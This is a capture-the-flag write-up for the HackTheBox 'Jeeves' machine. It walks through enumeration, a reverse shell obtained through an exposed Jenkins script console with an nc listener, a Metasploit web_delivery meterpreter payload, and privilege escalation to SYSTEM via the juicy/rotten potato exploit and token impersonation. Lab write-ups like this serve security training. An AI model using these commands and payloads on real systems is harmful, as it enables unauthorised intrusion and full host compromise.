Hackthebox - Jeeves

  • Windows

Jeeves

Nmap

Port 80

  • We have this page image

  • It seems gives stack trace when trying to search for something image

  • But it is just an image, indeed the action of the form will just go to error.html image

  • Gobuster does not give much

Port 50000

  • Here is what we see on the browser for this port: image

  • Gosbuster does not always work for the first time we need to use different wordlists, I tried a few before getting to the askjeeves result. The one that gave the result is directory-list-2.3-big.txt image

  • If we navigate to /askjeeves we have a jenkins server image

  • If we go to jenkins cli we can use a jar and execute command from it image

  • If we look at the system info we get a user name: kohsuke

  • Script console also seems interesting, let's try to get a reverse shell this way image We can find one online here:

  • Let's set a listener rlwrap nc -lvp 8044

  • It works we are jeeves\kohsuke

image
  • We can grab our user flag type C:\Users\kohsuke\Desktop\user.txt

  • Here are our privileges image We have the SeImpersonatePrivilege enabled

  • We can use windows exploit suggester with sysinfo

    • wget https://raw.githubusercontent.com/AonCyberLabs/Windows-Exploit-Suggester/master/windows-exploit-suggester.py

    • python windows-exploit-suggester.py -update (to get the latest db file)

    • python windows-exploit-suggester.py --database 2022-04-08-mssb.xls -i ../sysinfo.txt

  • We have a lot of options including potatoes

Privesc with rotten potato

  • Launch msfconsole

  • use exploit/multi/script/web_delivery

  • show targets

  • set target 2 for PSH

  • set payload windows/meterpreter/reverse_tcp

  • set lhost tun0

  • set SRVHOST tun0 image

  • Now we just need to execute this in our target image

  • And we get a meterpreter session image

  • Let's interact with it sessions -i 1

  • To get the build in potato options lets use metasploit exploit suggester run post/multi/recon/local_exploit_suggester image

  • Using ctrl+z lets now background the shell

  • use exploit/windows/local/ms16_075_reflection_juicy

  • show options

  • set session 1

  • set LHOST tun0

  • run image

  • And it worked image

  • load incognito

  • list_tokens -u

  • impersonate_token "NT AUTHORITY\SYSTEM"

  • Event though we got authority system the root flag is not here instead we have this image

  • if we dir /R we can see our flag

  • more < hm.txt:root.txt:$DATA we can do this to print it

  • Here are a few methods on how to print alternate data streams

Last updated